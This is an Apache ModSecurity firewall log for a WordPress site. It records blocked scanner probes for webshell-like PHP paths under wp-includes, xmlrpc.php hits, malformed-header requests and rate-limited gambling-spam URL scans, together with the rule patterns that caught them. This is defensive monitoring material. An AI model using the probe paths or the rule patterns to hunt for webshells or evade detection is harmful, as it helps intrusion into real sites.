[Thu Mar 19 10:00:13.116949 2026] [:error] [pid 23988:tid 23993] [client 209.87.169.244:29629] [client 209.87.169.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "abtYrWnlkSPXj2matr0vFgAAAMI"]
[Thu Mar 19 10:00:13.688541 2026] [:error] [pid 3278:tid 3301] [client 209.87.169.233:29591] [client 209.87.169.233] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "abtYrQC2T_lM6ZgvfcRSJwAAARQ"]
[Thu Mar 19 10:00:14.375125 2026] [:error] [pid 23884:tid 23972] [client 209.87.169.33:26557] [client 209.87.169.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "abtYrl6St-VCdOYnZMok4AAAAJA"]
[Thu Mar 19 10:00:14.884895 2026] [:error] [pid 25269:tid 25282] [client 209.87.169.253:53247] [client 209.87.169.253] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "abtYrsU9ntriqNcU-b6JWQAAA8o"]
[Thu Mar 19 10:00:15.701609 2026] [:error] [pid 24925:tid 24948] [client 209.87.169.215:37729] [client 209.87.169.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "abtYr_UZEHbnUgjEbWM_ZAAAAZM"]
[Thu Mar 19 10:00:18.063322 2026] [:error] [pid 31447:tid 31458] [client 209.87.169.223:48189] [client 209.87.169.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "abtYshmVNRDSLnGvghigQgAAAgM"]
[Thu Mar 19 10:00:22.987641 2026] [:error] [pid 31447:tid 31466] [client 209.87.169.40:57593] [client 209.87.169.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "abtYthmVNRDSLnGvghigUAAAAgs"]
[Thu Mar 19 10:00:23.499317 2026] [:error] [pid 25044:tid 25054] [client 209.87.169.207:59135] [client 209.87.169.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "abtYt9UUDKsY7wMywpozvAAAAsY"]
[Thu Mar 19 10:00:24.900614 2026] [:error] [pid 24925:tid 24943] [client 209.87.169.245:22393] [client 209.87.169.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "abtYuPUZEHbnUgjEbWM_ewAAAY4"]
[Thu Mar 19 10:00:25.343303 2026] [:error] [pid 31447:tid 31466] [client 209.87.169.45:28105] [client 209.87.169.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "abtYuRmVNRDSLnGvghigWgAAAgs"]
[Thu Mar 19 10:00:26.133843 2026] [:error] [pid 3278:tid 3293] [client 209.87.169.244:47783] [client 209.87.169.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "abtYugC2T_lM6ZgvfcRSdAAAAQw"]
[Thu Mar 19 10:00:26.808488 2026] [:error] [pid 23882:tid 23914] [client 209.87.169.66:32111] [client 209.87.169.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "abtYurWnClbtbN12M78eewAAAAw"]
[Thu Mar 19 10:00:27.826773 2026] [:error] [pid 25269:tid 25289] [client 209.87.169.49:28981] [client 209.87.169.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "abtYu8U9ntriqNcU-b6KFAAAA9E"]
[Thu Mar 19 10:00:29.153629 2026] [:error] [pid 3278:tid 3303] [client 209.87.169.213:33711] [client 209.87.169.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "abtYvQC2T_lM6ZgvfcRSjwAAARY"]
[Thu Mar 19 10:00:29.915377 2026] [:error] [pid 23884:tid 23967] [client 209.87.169.245:44971] [client 209.87.169.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "abtYvV6St-VCdOYnZMolGQAAAIs"]
[Thu Mar 19 10:00:30.413464 2026] [:error] [pid 25179:tid 25187] [client 209.87.169.39:58235] [client 209.87.169.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "abtYvmFzmTtmuBLc_LZS7AAAA4Y"]
[Thu Mar 19 10:00:40.925325 2026] [:error] [pid 25044:tid 25067] [client 209.87.169.50:60119] [client 209.87.169.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "abtYyNUUDKsY7wMywpo0OwAAAtM"]
[Thu Mar 19 10:00:41.376639 2026] [:error] [pid 25044:tid 25071] [client 209.87.169.237:46367] [client 209.87.169.237] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "abtYydUUDKsY7wMywpo0QwAAAtc"]
[Thu Mar 19 12:48:46.818791 2026] [:error] [pid 25135:tid 25150] [client 200.225.115.243:45084] [client 200.225.115.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.225.115.243, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abuALqKtE0dzgMctjFXqrAAAA00"]
[Thu Mar 19 12:54:12.060936 2026] [:error] [pid 23883:tid 23936] [client 154.16.49.101:5849] [client 154.16.49.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/license.txt"] [unique_id "abuBdNNi-EnEAH4abz2wZgAAAEc"]
[Thu Mar 19 12:54:13.099761 2026] [:error] [pid 31205:tid 31228] [client 154.16.49.101:6258] [client 154.16.49.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/feed/"] [unique_id "abuBdVu5gZKGrGz5P1GnqQAAAUs"]
[Thu Mar 19 14:44:32.688375 2026] [:error] [pid 11110:tid 11139] [client 120.71.59.24:52292] [client 120.71.59.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abubUASNPqGfikw7k8JLwAAAABg"]
[Thu Mar 19 16:18:39.083101 2026] [:error] [pid 11110:tid 11118] [client 170.106.165.76:41428] [client 170.106.165.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abuxXwSNPqGfikw7k8J3JAAAAAM"]
[Thu Mar 19 17:38:38.381872 2026] [:error] [pid 1247:tid 1257] [client 49.43.218.240:53931] [client 49.43.218.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.218.240, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abvEHg5tmeOr-yI4XNGGZwAAAcg"]
[Thu Mar 19 21:05:56.532591 2026] [:error] [pid 1397:tid 1401] [client 43.153.79.218:39930] [client 43.153.79.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abv0tHptc6vBjy-kgOMbgwAAAsI"]
[Thu Mar 19 21:59:08.150955 2026] [:error] [pid 1247:tid 1270] [client 170.106.84.136:37776] [client 170.106.84.136] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abwBLA5tmeOr-yI4XNH7ogAAAdU"]
[Thu Mar 19 22:31:20.775722 2026] [:error] [pid 11110:tid 11115] [client 223.185.34.197:11723] [client 223.185.34.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.34.197, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abwIuASNPqGfikw7k8LRmgAAAAA"]
[Thu Mar 19 22:31:41.796361 2026] [:error] [pid 1285:tid 1299] [client 119.73.101.11:47434] [client 119.73.101.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.73.101.11, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abwIzVE95r3zR75X1HpfdAAAAgw"]
[Fri Mar 20 01:10:42.714347 2026] [:error] [pid 46125:tid 46208] [client 135.181.180.59:14250] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "abwuEmgN4lI6NHeckY5bJAAAAIA"]
[Fri Mar 20 01:10:45.150232 2026] [:error] [pid 46124:tid 46189] [client 135.181.180.59:14254] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "abwuFUzMrlLOY6zyCjJ0zwAAAEk"]
[Fri Mar 20 01:10:47.577435 2026] [:error] [pid 46126:tid 46248] [client 135.181.180.59:28864] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "abwuF6Q44YePbsZz3j7LDQAAARM"]
[Fri Mar 20 01:10:50.074666 2026] [:error] [pid 46264:tid 46306] [client 135.181.180.59:28872] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "abwuGop3TruHFmWOt5HUcQAAABc"]
[Fri Mar 20 01:10:52.521664 2026] [:error] [pid 11258:tid 11262] [client 135.181.180.59:28876] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "abwuHJPHb95f6xzHJOcNFgAAAMI"]
[Fri Mar 20 01:10:55.072264 2026] [:error] [pid 46264:tid 46284] [client 135.181.180.59:28888] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "abwuH4p3TruHFmWOt5HUgwAAAAE"]
[Fri Mar 20 01:10:57.563288 2026] [:error] [pid 11258:tid 11264] [client 135.181.180.59:16470] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "abwuIZPHb95f6xzHJOcNHgAAAMQ"]
[Fri Mar 20 01:11:00.014442 2026] [:error] [pid 46126:tid 46211] [client 135.181.180.59:16484] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "abwuJKQ44YePbsZz3j7LGwAAAQA"]
[Fri Mar 20 01:11:02.513179 2026] [:error] [pid 46125:tid 46225] [client 135.181.180.59:16490] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "abwuJmgN4lI6NHeckY5bQwAAAIg"]
[Fri Mar 20 01:11:05.028782 2026] [:error] [pid 46124:tid 46204] [client 135.181.180.59:16494] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "abwuKUzMrlLOY6zyCjJ0-gAAAFg"]
[Fri Mar 20 01:11:07.617422 2026] [:error] [pid 46264:tid 46302] [client 135.181.180.59:34406] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "abwuK4p3TruHFmWOt5HUrQAAABM"]
[Fri Mar 20 01:11:10.096329 2026] [:error] [pid 46125:tid 46225] [client 135.181.180.59:34412] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "abwuLmgN4lI6NHeckY5bSwAAAIg"]
[Fri Mar 20 01:11:12.603854 2026] [:error] [pid 46126:tid 46256] [client 135.181.180.59:34416] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "abwuMKQ44YePbsZz3j7LMwAAARc"]
[Fri Mar 20 01:11:15.048998 2026] [:error] [pid 46126:tid 46211] [client 135.181.180.59:34420] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "abwuM6Q44YePbsZz3j7LOgAAAQA"]
[Fri Mar 20 01:11:17.669436 2026] [:error] [pid 46125:tid 46226] [client 135.181.180.59:4478] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "abwuNWgN4lI6NHeckY5bXAAAAIk"]
[Fri Mar 20 01:11:20.214113 2026] [:error] [pid 11258:tid 11271] [client 135.181.180.59:4490] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "abwuOJPHb95f6xzHJOcNTAAAAMs"]
[Fri Mar 20 01:11:22.695431 2026] [:error] [pid 11258:tid 11273] [client 135.181.180.59:4494] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "abwuOpPHb95f6xzHJOcNXQAAAM0"]
[Fri Mar 20 01:11:25.254860 2026] [:error] [pid 11258:tid 11261] [client 135.181.180.59:65074] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "abwuPZPHb95f6xzHJOcNbAAAAME"]
[Fri Mar 20 01:11:27.682144 2026] [:error] [pid 11258:tid 11266] [client 135.181.180.59:65088] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "abwuP5PHb95f6xzHJOcNegAAAMY"]
[Fri Mar 20 01:11:30.128053 2026] [:error] [pid 11258:tid 11266] [client 135.181.180.59:65092] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "abwuQpPHb95f6xzHJOcNggAAAMY"]
[Fri Mar 20 01:11:32.557402 2026] [:error] [pid 46125:tid 46234] [client 135.181.180.59:65100] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abwuRGgN4lI6NHeckY5bZgAAAI0"]
[Fri Mar 20 01:12:06.262634 2026] [:error] [pid 46126:tid 46244] [client 135.181.180.59:39290] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "abwuZqQ44YePbsZz3j7LfwAAARE"]
[Fri Mar 20 01:12:09.113796 2026] [:error] [pid 46126:tid 46218] [client 135.181.180.59:39298] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "abwuaaQ44YePbsZz3j7LhQAAAQQ"]
[Fri Mar 20 01:12:11.746805 2026] [:error] [pid 46126:tid 46254] [client 135.181.180.59:39314] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "abwua6Q44YePbsZz3j7LigAAARY"]
